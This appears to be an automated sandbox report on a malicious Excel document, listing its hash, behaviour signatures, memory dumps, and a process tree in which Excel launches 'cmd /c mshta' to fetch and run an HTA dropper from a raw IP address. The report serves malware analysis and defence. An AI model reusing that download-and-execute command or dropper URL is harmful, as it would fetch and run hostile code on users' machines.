Analysis
- max time kernel
122s - max time network
132s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 15:39
General
- Target tmpiusd_szv.xls
- Size 155KB
- Sample220127-s3sansffc5
- SHA256 6e3e717a289921990d308e47ef4b5221f3f438cfbb1d3aa53e5a2c8765e16376
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/qqqw/aaas/se.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpiusd_szv.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qqqw/aaas/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qqqw/aaas/se.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1456 -s 16404⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/4092-115-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-116-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-117-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-118-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-127-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-128-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp
memory/4092-129-0x00007FF966FD0000-0x00007FF966FE0000-memory.dmp
memory/4092-311-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-312-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-313-0x00007FF969B20000-0x00007FF969B30000-memory.dmp
memory/4092-314-0x00007FF969B20000-0x00007FF969B30000-memory.dmp